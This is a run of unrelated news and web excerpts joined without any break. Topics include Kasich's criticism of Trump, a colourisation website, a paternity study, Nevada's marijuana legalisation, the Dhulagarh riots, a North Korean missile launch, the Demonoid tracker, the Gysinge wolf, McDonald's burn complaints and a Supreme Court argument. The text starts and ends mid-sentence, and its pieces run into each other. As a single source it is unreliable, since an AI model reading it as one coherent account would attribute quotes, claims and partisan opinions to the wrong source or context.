acknowledge that Trump tapped into voter anger — but he accuses the brash real estate mogul of exploiting it, rather than resolving it. “What he tapped into is: ‘The reason you don’t have a job is because some Mexican took it, and the reason you don’t have a job is because of the Chinese. And, by the way, America’s getting screwed. We never win anything.’ That’s no message,” Kasich says. “That’s why I haven’t endorsed him. He feeds into people’s anger. . . . He doesn’t provide a way forward. . . . It’s just ‘trust me.’ I don’t trust any politician to tell you the truth.” Next to Trump, Kasich saves his harshest words for Republican National Committee chairman Reince Priebus, whom he assails for crowning Trump the presumptive nominee in a tweet after the businessman won the Indiana primary on May 3 and Sen. Ted Cruz (R-Tex.) quit the race. “What Priebus did was dead wrong, after Indiana, declaring Trump the nominee,” Kasich says, barely hiding his disgust. “I was still in it and I think he dissed me, and I think it’s inappropriate. I haven’t spoken to him. I don’t think there’s any point to it. I don’t even understand what he was doing. It was amateur hour for him.” Kasich left the race the next day. A spokesman for Priebus said Sunday that the party chairman was only stating the obvious. “It’s simple math,” said the spokesman. No Republican has ever become president without winning Ohio, and Kasich and other state officials don’t think Trump is well-positioned to win here with his current message. In addition, Trump has been slow to build a ground operation. Although Ohio registered 1 million new Republican voters before the primary, exit polls showed many of those registered in order to vote for Kasich — not Trump. “We’ve made no secret that the message has to be one of unifying and not dividing people,” says Matt Borges, chairman of the Ohio Republican Party, who talks to Trump. And without that, Kasich does not see a path to a Trump victory in the general election. “Well, if you have trouble with Hispanics, if you have trouble with African Americans, if you have trouble with women,” he says. “I think they have these challenges, and I think they know it and they have to deal with it.” So why didn’t the Ohio governor take off during the primaries, given his standing today? Political operatives maintain he entered the race too late, with low name recognition nationally and couldn’t raise the resources to get his message out. Kasich also faults the media — which he says created Trump and never gave him the time of day. “We never got the kind of attention that traditionally candidates have gotten when they did well,” Kasich laments, citing his second-place finish in the New Hampshire primary. “It was pretty remarkable,” Kasich says. “But what happened when that was over? Nothing. . . . After New Hampshire, we should have had enormous attention. The media just basically discounted me.” Kasich has said that he might consider supporting Trump if his divisiveness and name-calling came to an end. But he says Trump’s rhetoric seems to have gotten worse. “I was talking to a guy yesterday. He’s like, ‘Well, you need to be for Trump.’ What did they think my message was? Did they think it was just politics? This is stuff I feel really strongly about. My family feels stronger than I do about it.” Citing Trump’s “attacks on women,” Kasich says his wife, Karen, and twin daughters are anti-Trump. “My girls are 16, so they can’t vote, but believe me, there’s no way he would get their vote.” Asked how he would go about rebuilding his fractured party should Trump lose the election, he says, “I’m more worried about my country than I’m worried about my party right now.” “Is all the immigration right? Of course it isn’t. But are we anti-immigrant? Of course not. Are we a party that says based on a religious test that somehow you’re not welcome? That’s not my party. . . . So the party has lost its way.” He also faults Trump for his strident anti-trade position. “We need to be a party that favors trade. Are all the trade deals good? Obviously not. I’ve never been the greatest free-trade person, but I do realize that if you and I get into a trading situation, personally — we become closer. We sit down and we talk. It creates a relationship. If all of a sudden we shut that off, it isn’t good.” Kasich was one of the first of many party leaders to take a pass on attending the convention. The list gets longer every day. “I cannot speak as to why anybody else is doing what they’re doing,” he says. “I’m just doing what I think is the right thing to do, based on my campaign, what I feel about the country, reflecting the views of my family. I’ll navigate through it.” In the one and only telephone conversation he had with Trump after he left the race, Kasich said, he told the businessman that they were too different politically and personally for Kasich to support him. He asked Trump to read his “Two Paths” speech and let him know what he thought. He hasn’t heard back. Says Kasich with a shrug, “He wasn’t going to read my speech.”
You’ll also find information and reviews of the official colourisation work I have completed for the BBC’s ‘Terror of the Zygons’, ‘Mind of Evil’ and ‘Genesis of the Daleks’ DVD releases, as well as details of the British Film institute premiere of the colourisation work on ‘The Mind of Evil‘ – the results from which have been aired on the BBC evening news. My work on episode One was televised in the US on Retro TV on 15th October 2014 and KBTC Public Television on Saturday 23rd January 2016. I have also included my published print work as well various interviews I have given over the years. You’ll find press cuttings and podcasts which relate to my work and even clips of my TV appearances. Everything Babelcolour is hidden in the pages of this site! And for fans of my work on YouTube you can find many videos to keep you occupied too. My YouTube Channel has over 7 million hits and 20,000 subscribers; so if you’d like to keep up to date on what’s next, click the Twitter button in the corner of this page and follow my updates on Twitter – you never know what you might be missing! With a massive thank you to all the loyal fans who have supported the work I extend a very warm welcome to the Wonderful World of BabelColour.
Archived Abstract of Former PSC Researcher Anderson, Kermyt G. 2006. "How well does paternity confidence match actual paternity? Evidence from worldwide nonpaternity rates." Current Anthropology, 48(3): 511-518. Little is known about how accurately men’s confidence of paternity reflects actual paternity. Are men with high paternity confidence more likely to be fathers than men with low paternity confidence? A sample of 67 worldwide nonpaternity rates is divided into three categories: high paternity confidence (N = 22, mostly from genetic studies), low paternity confidence (N = 31, containing men who contested paternity through paternity tests), and unknown paternity confidence (N = 14, mostly unpublished studies). The results show that men with high paternity confidence have very low rates of nonpaternity (median = 1.7%), while men with low paternity confidence have much higher levels of nonpaternity (median = 29.8%). When men with low and unknown paternity confidence levels are combined, the median nonpaternity rate is 3.3%. These levels are all significantly different from one another (Wilcoxon sign-rank test), confirming that men with high paternity confidence are more accurate in their assessment of paternity than men with low paternity confidence. These differences in nonpaternity between these groups remain when compared by geographical region (U.S., Europe, and elsewhere).
LOS ANGELES—Long lines snaked out of marijuana dispensaries in Nevada on Saturday, as the western US state became the latest to legalize recreational pot. Nevada joins Colorado, Oregon, Washington and Alaska as states where recreational marijuana sales are permitted. While pot is legal in several other states, it is governed by complicated local laws and still illegal according to federal law. ADVERTISEMENT Legal marijuana sales are sure to be a boon to the economy of Nevada’s largest city, Las Vegas, bolstering its reputation as an “anything goes” party town for millions of visitors from around the world. “I’ll bet the state makes a cool million $ this weekend,” tweeted Democratic state Senator Tick Segerblom, a longtime advocate for legalization of marijuana. “This is a game-changer for Las Vegas and tourism here as far as I’m concerned,” he told the Las Vegas Sun newspaper, adding, “Amsterdam on steroids.” Destiny Diaz was in line for nearly three hours at the Jardin Premium Cannabis dispensary in Las Vegas, waiting for the law to go into effect at midnight on Saturday. “It’s a great day and something people have been waiting a long time for,” she told the Sun. “We weren’t going to miss this. Under Nevada’s new law, adults 21 and older can purchase up to one ounce (28 grams) of marijuana or up to one-eighth ounce of marijuana concentrates per day. Las Vegas police posted a list of dos and don’ts in the newly marijuana-friendly state. “Know the law! Here’s a few things to remember,” it said, pointing out that it is illegal to smoke or consume pot in public, to drive while high, or to give or sell it to those under age 21. /ra RELATED STORIES ADVERTISEMENT Duterte favors medical marijuana use Canada unveils legislation to legalize marijuana Asian clout grows in Nevada; Filipinos are largest group Read Next LATEST STORIES MOST READ
In this excellent piece in Newslaundry, titled “Dhulagarh Riots: Why did Bengal media ignore it?”, Deepanjana Pal writes: For approximately four hours, Dhulagarh burned. Shops were set on fire in the local bazaar and looted. The mob attacked homes, looting them and lobbing bombs – crude contraptions that are far more dangerous cousins of the pataka – at them. Eye witnesses say Hindu households were targeted. “You have to understand, everyone knows everyone in places that are this small,” said one reporter. “Hindus and Muslims live in separate neighbourhoods, but together. So when this happened, some of them recognised those who were attacking them and when they didn’t recognise them, they knew these were outsiders.” One temple was attacked and its idol – of Kali, the goddess best known for her all-destroying rage – was broken. There are reports of Hindu families having fled to neighbouring villages. All this violence took place in broad daylight. In the videos that have been circulated, no one is seen wearing masks. It’s all out in the open and witnessed by locals who tried to get in touch with journalists. From the videos and photographs that were shared, it almost seems like the locals did the actual on-ground reporting. They were desperate to talk and be heard. Unfortunately, few listened and Dhulagarh was barely mentioned in mainstream Bengali news. (emphasis mine) “What we were told was that since this is a communal issue, we should approach it cautiously and underplay it so that things don’t flare up,” said one journalist. So the excuse being offered is that because reporting a communal incident might provoke other communal incidents, mediamen refuse to cover communal flareups. The only problem with this is simply this. It is not true. Large sections of media, be it in Bengal or at the national level, has absolutely no problem in reporting communal incidents. They covered Dadri for months. Gujarat, 2002, they are still covering, and it is now 15 years. It is only when the incidents run counter to their stated narrative, that India is being ruled by a fascist Hindu Hitler-wannabe who has instituted a reign of majoritarian terror, that the Indian media behave the same way as parents do when their children ask “Does Santa really exist? If he does why is the gift he brought the same as the one that has been lying in the trunk of our car for the last two days?”, namely with silence and then with an attempt to change the conversation. In Bengal there is the other reason for covering up communal incidents. Pretty much most of the media is mortally afraid of the TMC or indebted to it (usually both), and anything that shows the party in a bad light, a party that has been pulled by no less than the High Court for appeasement of a certain community, will not make it past the desks of the editors. But for now, let us concentrate on our nation’s media mavens, the ones who win “Best Journalism Awards” instituted by their own channels, whose name echoes in time as the Bane of NRIs in Madison Square Garden. You know where I am going with this. While the riots are going on, when media involvement usually forces the government to act, when bad things can be prevented through press intervention, one of our country’s premier “journalist”s, based out of Delhi, parrots the Trinamool Congress line and denies the riots. He subsequently then puts “” around riots, in the same way I have put it around “journalist” in thie preceding sentence. It is only after Zee TV gets involved, perhaps because their politics is more aligned with BJP, that his own channel India Today, perhaps because one cannot let a rival take the TRPs with a story, goes to the region and files a report, of helpless people having their life-savings looted, of a mother ruing her son’s irreplaceable study notes being burned in addition to having all their valuables taken, that the whole of India at least has the opportunity to look at the world, as it is. Of course an FIR is filed against Zee TV for reporting the incident. Usually something like this brings forward a tidal wave of press outrage, of impassioned editorials and flowing pens, ruing the fascism of the Hindu majoritarians, but since this time, very inconveniently, it was not quite fitting into their narrative, we were treated to the manufactured diversion of “trolling in social media”. Double points here, because it is an issue that personally affects these media mavens, in the same way that Arnab Goswami’s barbs did, so it’s absolutely deserving of hours of media coverage, and impassioned chest-beating. The trolls make our social media life miserable. What? Your child’s laptop, the one you saved for years, was looted, and you have no house to stay in? Sorry, pal, tyranny of distance, my moral compass just can’t point there. Here, have some quotation marks. The irony of this kind of targeted censorship is that it ends up hurting the very agenda that is close to their hearts. Since the media will try its level best not to report a particular type of communal violence, it then becomes very easy for Hindu fanatics to cook up or grossly exaggerate incidents of communal violence, then use social media to spread their message, and people will be more inclined to believe whatever they get on their FB walls or Whatsapp, the lack of coverage in mainstream media, perversely, validating the story: if the news channels aren’t covering this, it must be true. India is a country where minorities are in constant peril, regardless of who is at the center. Anyone, of any religion, can be a minority, and whether you belong to a minority is a function of where you are located, who are around you and in what number, how organized they are, and who the local government is aligned with. So, yes, even in an India ruled by a Hindu nationalist party, there are significant sections where Hindus are minorities. By refusing to give coverage to violence perpetrated on them and worse by casting doubts on its truth, in one swell swoop, the media strengthens both extremes of the political spectrum and ossifies the culture of violence and intimidation of minorities, which we inherited during Partition, a culture which no party in India has the slightest interest in dismantling. Not that our media superstars don’t know this. They are not that dumb. It’s just that their “anti-establishment” is basically anti-one-establishment, their anger deepened by the fact that the “wrong person” won in 2014. Which is why they have no compunction in echoing the TMC talking points, because they believe that TMC is also anti-that-one-establishment, even though in the context of the Bengal riots, TMC is the establishment. Which is why their moral compass keeps steady while refusing to cover or to resign to the back of the paper, anything that does not conform to their political narrative, of the fascism of the Hindu majoritarian rule in Delhi, no matter the human cost of what they choose to ignore. Tragic. Advertisements
President-elect Donald Trump, with his wife Melania Trump and Senate Majority Leader Mitch McConnell, gives the thumbs up after a meeting in the majority leader's office in the U.S. Capitol . (EPA/SHAWN THEW) President-elect Donald Trump and establishment Republicans did not really get along during the campaign. The last time we counted, earlier this fall, we calculated that House Speaker Paul D. Ryan (R-Wis.) disagreed with or denounced Trump on average every week-and-a-half or so. But the campaign is over, and Republicans and Trump are trying to play nice. In interviews since the election, they've stressed they agree with their president on tax reform, repealing Obamacare and securing the border. It's not uncommon for the party in the White House to have some disagreements with its own members in Congress. But if you take Trump's campaign promises at his word, Republicans have fundamental disagreements with their incoming president on his proposals to spend billions on infrastructure, deport millions of immigrants in the country illegally and institute more protectionist trade policies. And the cracks on those issues are starting to show. Here are six areas where Republicans have given Trump's agenda a lukewarm response. 1. Deportation Trump: "What we are going to do is get the people that are criminals and have criminal records, gang members, drug dealers, a lot of these people, probably 2 million. It could even be 3 million," he told CBS's Lesley Stahl in a "60 Minutes" interview that aired Sunday. "After the border is secured and after everything gets normalized, we're going to make a determination on the people that you're talking about, who are terrific people." Ryan: "We are not planning on erecting a deportation force," he told Jake Tapper on Sunday's CNN "State of the Union." "Donald Trump is not planning on that." (To that, hard-right news site Breitbart.com — whose former chief will be a top strategist to Trump — blasted out an article declaring: "Paul Ryan: No Deportations") Newt Gingrich: "There are going to be substantial deportations. They're called criminals," the former House speaker and Trump ally told John Dickerson on Sunday on CBS's "Face the Nation." "I mean, 2 million people would be a lot of people to deport." President-elect Trump's campaign surrogate Newt Gingrich, said Sunday, Nov. 13, that there will likely be "substantial deportations" of undocumented aliens under the administration of President-elect Donald Trump. (Reuters) Kevin McCarthy: "Well, I think it's difficult to do," the House majority leader (R-Calif.) said Sunday in response to a question by Fox News's Chris Wallace on whether he'd get behind Trump's proposal for mass deportations. 2. A border wall Trump: "Yes." (In response to a question by Stahl: "Are you really going to build a wall?") Trump did say he'd accept some proposals circulating in Congress for some fencing: "For certain areas, I would. But certain areas, a wall is more appropriate." McCarthy: "You have to put a wall, it could be all virtual with the UAV airplanes as well, but I think that is doable and one of the first things that needs to be done. The terrain is different, so you can't always build in just a specific place, but you can protect it." 3. Trade Trump: Has repeatedly said he'd like to renegotiate or rip up trade deals. And he has promised to establish tariffs in his first 100 days. Ryan: "Well, I think there's a better way of dealing with that particular issue," Ryan said on CNN in response to a question about Trump's tariffs plan. "We think there are better ways of dealing with making American products and workers more competitive, and really it's fixing our tax code." 4. Term limits for members of Congress During a rally in Colorado, Republican presidential nominee Donald Trump pledged to introduce a constitutional amendment that would impose term limits on members of Congress. (The Washington Post) Trump: "We're going to put on term limits, which a lot of people aren't happy about, but we're putting on term limits," he said on "60 Minutes." [Sorry, Donald Trump. Term limits for Congress are (probably) never, ever going to happen.] Senate Majority Leader Mitch McConnell (R-Ky.): "I say we have term limits now. They’re called elections. It will not be on the agenda in the Senate," McConnell told reporters the day after the election. 5. Infrastructure spending Trump: "We’re going to rebuild our infrastructure, which will become, by the way, second to none," Trump said on "60 Minutes." During the campaign, Trump pitched a 10-year, $500 billion infrastructure plan. "And we will put millions of our people to work as we rebuild it." Ryan: In September, Ryan indicated such a plan as proposed by Trump would be too expensive. "We passed the biggest highway bill, the long-term highway bill, for the first time since the 1990s just a few months ago. That's already in place at 10 percent above baseline spending on mass transit and highways." McCarthy: McCarthy said on Fox News that "there is a place we could find common ground with Republicans and Democrats" on infrastructure. But he seemed unable to explain how Trump's infrastructure spending plan differs from President Obama's 2009 stimulus. "Obama never had infrastructure in his stimulus," he said. (Infrastructure spending was a major part of Obama's stimulus.) 6. Whether Republicans have a mandate Ryan: "He just earned a mandate, and we now just have a unified Republican government. The opportunity is to go big, to go bold and to get things done," he said in a news conference Wednesday. McConnell: " I think it’s always a mistake to misread your mandate, and frequently new majorities think it’s going to be forever," he told reporters Wednesday. "Nothing is forever in this country." Where Trump and Republicans are in agreement There are a handful of areas that Trump and Republicans seem genuinely in agreement on. They are: Obamacare: Trump wants to repeal it; Republicans want to repeal it. Trump wants to keep the parts of the law that allow people under the age of 26 to stay on their parents' health-care plans and that require insurance companies to insure people with preexisting conditions. It looks like Republicans do, too. Ryan on CNN said: "We need to have a solution for people with preexisting conditions. In our plan is allowing younger people up to the age of 26 to stay on their parents' plan." Secure the border: Republicans and Trump agree this is a priority, perhaps even before deporting immigrants in the country illegally. Trump on 60 Minutes: "But before we make that determination, Lesley, it's very important — we want to secure our border." Ryan on CNN: "We think that's first and foremost. Before we get into any other immigration issue, we have got to know who's coming and going in the country. We have got to secure the border." Tax reform: Ryan's top policy priority appears to be one of Trump's as well. "We're going to substantially simplify and lower the taxes," Trump said. Steve Bannon: Trump tapped the controversial Breitbart chief Sunday to make him his chief strategist. On Sunday, Ryan said: "I don’t know Steve Bannon, so I have no concerns. I trust Donald’s judgment." On Monday in an interview with MSNBC, Trump's incoming chief of staff, Reince Priebus, said Bannon is "a force for good." But on this key appointment, there is the potential for division between Republicans and Trump. Hill Republicans were effusive in their praise and congratulations Sunday for Priebus — currently the head of the Republican National Committee and a buddy of Ryan's — getting the top job. But they were nearly silent on Bannon's appointment. More from The Fix: Google’s top news link for ‘final election results’ goes to a fake news site with false numbers Donald Trump’s ’60 Minutes’ interview proves he believes he was right about everything Why Donald Trump and his supporters want you to think protests against him are manufactured
It may not a good day to be a North Korean missile designer. U.S. Northern Command announced today that North Korea last night launched a long-range Taepodong-2 missile. The missile's first stage fell into the Sea of Japan, and the remaining stages – along with a satellite payload – landed in the Pacific Ocean. "No object entered orbit and no debris fell on Japan," the command said in a press release. Not so, says North Korea. The Associated Press quotes Korean Central News Agency as saying the missile successfully lofted its payload into orbit. "The satellite is transmitting the melodies of the immortal revolutionary paeans 'Song of Gen. Kim Il Sung' and 'Song of Gen. Kim Jong Il' as well as measurement data back to Earth," KCNA said, referring to North Korea's founder and his successor. Whether or not the experimental communications satellite Kwangmyongsong-2 is in orbit – or in the ocean – this launch probably counts as more successful than a 2006 Taepodong-2 test. That missile disintegrated less than a minute after leaving the launch pad. Over the next week, no doubt, we'll see a lot of arguing about what North Korea's launch test means. For proponents of missile defense, it proves that North Korea is another step further to developing an ICBM capability. And for missile defense critics, it shows that North Korea is still a long way from building a missile that could pose a credible threat to the United States. UPDATE: That makes Kim & Co. "oh-for-three" on long range missile launches, Arms Control Wonk says. "These guys really suck." [IMAGE: California Literary Review] ALSO:
Hillary Clinton refuses to make public the transcripts of her speeches to big banks, three of which were worth a total of $675,000 to Goldman Sachs. She says she would release the transcripts "if everybody does it, and that includes Republicans." After all, she complained, "Why is there one standard for me, and not for everybody else?" As the New York Times editorial board pointed out, "The only different standard here is the one Mrs. Clinton set for herself, by personally earning $11 million in 2014 and the first quarter of 2015 for 51 speeches to banks and other groups and industries." Hillary is not running in the primaries against Republicans, who, the Times noted, "make no bones about their commitment to Wall Street deregulation and tax cuts for the wealthiest Americans." She is running against Bernie Sanders, "a decades-long critic of Wall Street excess who is hardly a hot ticket on the industry speaking circuit," according to the Times. Why do voters need to know what Hillary told the banks? Because it was Wall Street that was responsible for the 2008 recession, making life worse for most Americans. We need to know what, if anything, she promised these behemoths. I Scratch Your Back, You Scratch Mine Hillary has several super PACs, which have recently donated $25 million to her campaign, $15 million of which came from Wall Street. Big banks and large contributors don't give their money away for nothing. They expect that their interests will be well served by those to whom they donate. SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts Hillary recently attended an expensive fundraiser at Franklin Square Capital, a hedge fund that gives big bucks to the fracking industry. Two weeks later, Hillary's campaign announced her continuing support for the production of natural gas, which comes from fracking. Bernie opposes fracking. He said, "Just as I believe you can't take on Wall Street while taking their money, I don't believe you can take on climate change effectively while taking money from those who would profit off the destruction of the planet." Bernie's "Political Revolution" Bernie has no super PACs. His campaign has received 4 million individual contributions, that average $27 each. Perhaps Rupert Murdoch multiplied that amount by $100 in setting $2700 a head as the entrance fee for Hillary's latest campaign gala? Bernie has called for a "political revolution" that "takes on the fossil fuel billionaires, accelerates our transition to clean energy, and finally puts people before the profits of polluters." He would retrain workers in the fossil fuel industries for clean energy jobs. Bernie reminds us that the top one-tenth of 1% owns nearly as much wealth as the bottom 90%, and 99% of all new income goes to the top 1%. Unlike Hillary, he says healthcare is a right - not a privilege - and college and university tuition should be free. Bernie and Congressman John Conyers introduced legislation to allocate $5.5 billion to states and communities to create employment programs for African-American youth. They say, "instead of putting military style equipment into police departments . . . we [should] start investing in jobs for the young people there who desperately need them." How will we pay for all that? "If we cut military spending and corporate welfare, we would have more than enough money to meet America's needs," Bernie wrote in his 1997 book, Outsider in the House. "This nation currently spends $260 billion a year on defense, even though the Cold War is over," not counting "$30 billion spent annually on intelligence or the $20 billion in defense-related expenditures hidden away in our federal spending on energy," he added. Today, with all the wars our government is prosecuting, that figure is nearly $600 billion. With Bernie Sanders, we have a unique opportunity to reverse long-standing priorities that favor the few at the expense of the many. Let us seize the time.
In 2010, the University of Calgary announced that China’s Education Ministry had removed it from its list of accredited overseas institutions. The decision came weeks after the Canadian university had awarded an honorary degree to the Dalai Lama, whom the Chinese government accuses of promoting Tibetan independence from China. A planned speech next month by the Dalai Lama at the University of California, San Diego, has already prompted the local chapter of the Chinese Students and Scholars Association to threaten “tough measures to resolutely resist the school’s unreasonable behavior.” In her speech on Sunday, Ms. Yang said she had been relieved to find that she did not need to wear any of her five pollution masks in the United States. She also discovered, she said, that the freedoms enshrined in the Declaration of Independence were not the abstractions she had once imagined. “Democracy and freedom are the fresh air that is worth fighting for,” she said. But critics on social media skewered the address. Some took to Facebook and Weibo to challenge Ms. Yang’s comment about pollution masks: One Facebook user, Sincerlia Yang, commented: “This is the real KunMing TODAY! Shuping Yang do you need five masks?” Other users objected to Ms. Yang’s general tone. “Our motherland needs a lot of improvements, but it’s still the motherland,” the Weibo user Guaishoukankan wrote in a typical comment. “There are different types of social issues and discrimination in the U.S., too.” Still others cursed at Ms. Yang, or said that she would not be welcome in China. In a statement that did not directly address the uproar, the University of Maryland said on Monday that it “proudly supports Shuping’s right to share her views and her unique perspectives.” “The university believes that to be an informed global citizen it is critical to hear different viewpoints, to embrace diversity, and demonstrate tolerance when faced with views with which we may disagree,” the statement added. “Listening to and respectfully engaging with those whom we disagree are essential skills, both within university walls and beyond.”
Demonoid, once one of the most popular BitTorrent trackers, has reappeared again, this time hosted in Ukraine. The website is still down but the trackers are now fully operational again, perhaps a sign that Demonoid is crawling back up to speed? In June 2007 Demonoid was pressured to leave their host in the Netherlands, mainly because of legal threats from the Dutch anti-piracy outfit, BREIN. The site then relocated to Canada, but after threats from the CRIA, it decided to shut down there as well. A month ago we reported on the brief resurrection of the Demonoid tracker in Malaysia. At the time we hinted at the possibility that the site could perhaps be planning a comeback. Unfortunately the tracker went offline again after a few days. With no official response from the Demonoid team, it remains a mystery what the reason behind the resurrection was. Now, a month later, the Demonoid tracker is again responding. Just over a week ago, Demonoid torrents began to work again, this time being tracked from Ukraine. The new host of inferno.demonoid.com is the Ukrainian ISP Cocall Ltd, while the frontend of the site still remains in the US. Again, there is no official explanation for the return of the tracker, although many hope that it’s a sign that the site will be fully up and running soon. Last December, Demonoid’s founder Deimos spoke about the future of the site: “Money is an issue, but the real problem at the moment is finding a suitable place to host the website. There has been no luck there.” Perhaps he now found his safe harbor in Ukraine?
The Wolf of Gysinge was a man-eating wolf which, in three months, attacked and killed many children in Gysinge near central Sweden in the early 1820s. Attacks [ edit ] During a three-month period between December 30, 1820 and March 27, 1821, the wolf attacked 31 people, which resulted in a total of 12 fatalities,[1] most of whom were partially consumed by the wolf. The attacks occurred near Gysinge (within present-day Sandviken Municipality) in Uppland, near the border of Dalarna and Gästrikland in central Sweden.[2] With the exception of one 19-year-old woman, all victims of fatal attacks were children between the ages of three and a half, and 15; in addition, the 15 injured victims were mostly children, except for one 18-year-old male. Wolf [ edit ] The wolf was killed on March 27, 1821. Historical accounts indicate that before becoming a man-eater, the wolf was captured as a pup in 1817, and kept in captivity for several years before escaping. In captivity, wolves tend to lose their natural shyness of humans and thus attack more frequently after escape from captivity.[3] Dramatisation [ edit ] The incident was dramatised in the BBC Two TV series Manhunters in the final episode, "The Man-Eating Wolves of Gysinge", which aired on 16 December 2005.[4] The episode took artistic liberty in portraying the number of wolves involved in the attacks, showing two animals instead of one. The man-eating wolves were portrayed by Czechoslovakian Wolfdogs. See also [ edit ]
Workers at McDonald’s say their jobs burn—literally. Now the Occupational Safety and Health Administration may investigate those injuries, which, while not uncommon in working kitchens, were allegedly treated in a manner befitting the Franco-Prussian War. In the late 1800s, Prussian Surgeon General Friedrich Von Esmarch—widely believed to be the first person to conceive of first aid treatment—recommended that burns suffered on the battlefield be coated with cooking oil, animal fat, or butter. As historical burn treatments go, that’s a rather tame prescription, really. An ancient Egyptian treatment from 1500 B.C., one of the oldest ever found, calls for changing salves depending on how fresh the injury is, moving from, say, frogs cooked in oil to fermented goat dung. While both butter and frog oil run contrary to modern medicine, only one has allegedly been recommended to treat workplace injuries in lieu of burn cream at McDonald’s restaurants. On Monday, a group of workers filed 28 work-safety-violation claims against McDonald’s and franchise owners in 19 cities with OSHA and state authorities. According to a survey conducted by Hart Research Associates, also published on Monday, 79 percent of fast-food workers have suffered burns at work—and one-third say they were told to treat the injuries using butter or condiments such as mustard or ketchup as a salve. “My managers kept pushing me to work faster, and while trying to meet their demands I slipped on a wet floor, catching my arm on a hot grill,” Brittney Berry, who has worked at a Chicago McDonald’s since 2011, said in a statement. “The managers told me to put mustard on it, but I ended up having to get rushed to the hospital in an ambulance.” The accident left her with nerve damage, according to a press release. According to the Hart Research survey, which included responses from 1,426 fast-food workers, 29 percent say understaffing contributed to the circumstances that led to their injuries. The group Fight for $15, which, with assistance from the Service Employees International Union, has organized wage protests for fast-food workers, compiled the stories of a number of injured workers in a new video. (The group also helped workers file the OSHA complaints.) In several instances, the employees said there weren’t adequate first-aid materials, and that they were told to treat burn injuries with ketchup or mustard. “McDonald’s and its independent franchisees are committed to providing safe working conditions for employees in the 14,000 McDonald’s Brand U.S. restaurants. We will review these allegations,” Heidi Barker Sa Shekhem, a McDonald’s spokesperson, said in an emailed statement. “It is important to note that these complaints are part of a larger strategy orchestrated by activists targeting our brand and designed to generate media coverage.” The workplace-safety complaints are the latest in a string of legal challenges that have come to represent a second front in the ongoing battle over wages between workers and fast-food employers. In January, Fight for $15 helped file a federal civil rights lawsuit against McDonald’s, alleging both racist and sexist treatment of employees. The group was also involved in the complaints filed with the National Labor Relations Board that led to the landmark ruling that McDonald’s is considered a joint employer along with franchise owners. Last year also saw lawsuits alleging wage theft and other pay-related abuses filed in California, Michigan, and New York, although without involvement from Fight for $15. After being burned on the job, Brittney Berry told reporters on a Monday conference call that she was unable to work for three weeks and had to go without pay for that period.
The Supreme Court was divided today on whether corporations can be held liable in U.S. courts under a federal law dating back over two centuries. After an hour of oral argument by three excellent advocates, and five years after they considered the question for the first time, several of the justices appeared to be ready to hold that the Alien Tort Statute does not allow lawsuits against corporations for serious violations of international law. Some of the other justices seemed to be trying to salvage a ruling that might eventually end this lawsuit while leaving the door open for some lawsuits against corporations, but it was not at all clear that they could garner five votes for that result. The plaintiffs in Jesner v. Arab Bank are the victims of terrorist attacks that occurred over a 10-year period in Israel, the West Bank and Gaza. They allege that Arab Bank maintained accounts for known terrorists, accepted donations that it knew would be used to fund terrorism, and distributed millions of dollars to families of suicide bombers. They filed lawsuits under the Alien Tort Statute, a federal law that gives federal courts jurisdiction over “any civil action by an alien for a tort only, committed in violation of the law of nations or a treaty of the United States.” The ATS was enacted as part of the Judiciary Act of 1789 but was largely dormant for nearly 200 years, until a federal appeals court allowed a lawsuit against a former Paraguayan police official living in the United States to go forward on the ground that the complaint alleged torture, which violates the “law of nations.” Since then, the ATS has been frequently cited as the basis for lawsuits – against both foreign governments and multinational corporations – filed in U.S. courts seeking compensation for human-rights violations. In 2004, the Supreme Court ruled that the universe of claims that can be brought under the ATS is limited to claims that are easily defined and commonly regarded as violations of international law. In making that determination, the justices added, courts should also consider “the practical consequences of” allowing a claim to go forward, along with whether international law would allow a particular defendant to be held liable for violating it. Eight years later, the court agreed to decide the question at the center of this case: whether corporations can be held liable under the ATS. After oral argument in that case, though, the justices asked the two sides to weigh in on whether the ATS allows lawsuits based on actions that take place in another country. In an opinion by Chief Justice John Roberts, the court concluded that the principles underlying the general presumption that U.S. law does not apply outside the United States also apply to the ATS. Arguing for the plaintiffs, attorney Jeffrey Fisher contended that the text of the ATS leads to a “straightforward result”: a presumption that corporations can be held liable for violations of international law. Concerns about the effect that lawsuits like this one may have on the relationship between the United States and other countries, Fisher suggested, do not justify a categorical ban on lawsuits against corporations. And even when such concerns are valid, he continued, there are other legal theories – such as the presumption that the ATS does not apply to conduct that occurs outside the United States – that can be applied to address those concerns. Justice Samuel Alito was doubtful that the potential foreign-relations implications of such suits could be so easily minimized. When courts are deciding whether to recognize claims under the ATS, he told Fisher, there will definitely be lawsuits that, if allowed to go forward, will create friction with other countries. But will there really be cases on the other end of the spectrum, Alito queried, in which dismissing the lawsuit will create foreign-relations problems? Fisher later responded that the answer to Alito’s question was “yes,” telling the justices in his rebuttal that Israel – where several of the attacks that led to this lawsuit took place, and whose citizens are plaintiffs in the case – would certainly complain if the case were dismissed. But Roberts seemed to share Alito’s skepticism, telling Assistant to the Solicitor General Brian Fletcher (who argued on behalf of the United States) that the United States would likely be held “accountable” if it does provide a forum and a remedy in cases like this one. The court’s newest justice, Neil Gorsuch, was even more unsympathetic to the plaintiffs. He repeatedly pressed Fisher to explain whether the plaintiffs’ interpretation of the ATS was consistent with what Congress intended when it enacted the law in 1789, and he seemed unconvinced by Fisher’s answers. When Fisher at one point cited a seminal Supreme Court opinion from 1900 to bolster his argument, Gorsuch pushed back, asking Fisher how we could know whether that was the understanding of Congress in 1789. A central issue at today’s oral argument was exactly how to characterize the court’s inquiry in this case: Should it look at whether there is a consensus that financing terrorism is generally accepted as a violation of international law, or instead at whether there is a consensus that corporations can be held liable for such violations? For Paul Clement, who argued on behalf of Arab Bank, the answer was the latter. And, he stressed repeatedly in his half-hour at the lectern, there is no specific and widely accepted norm of international law that would allow corporations to be held liable for financing terrorism. Justice Sonia Sotomayor did not agree. She told Clement that there is no specific norm for holding people liable either. The norm, she said, focuses on conduct – for example, should you or shouldn’t you finance terrorism or be a pirate? Justice Elena Kagan echoed Sotomayor’s thoughts, telling Clement that the question of whether specific conduct constitutes a violation of international law is different from the question of who can be held liable for that conduct. Other countries’ views on the liability question are certainly relevant, she acknowledged, but where do you get the idea, she asked Clement, that there has to be consensus on the liability question? Justice Stephen Breyer also seemed to be in the plaintiffs’ camp on this issue. If you have a rule of international law that prohibits the financing of terrorism, he asked somewhat rhetorically, to whom would it apply besides corporations and the occasional billionaire? Perhaps most crucially, the bank found a friendlier audience in Justice Anthony Kennedy, who asked relatively few questions. Unlike Sotomayor, Kagan and Breyer, Kennedy seemed 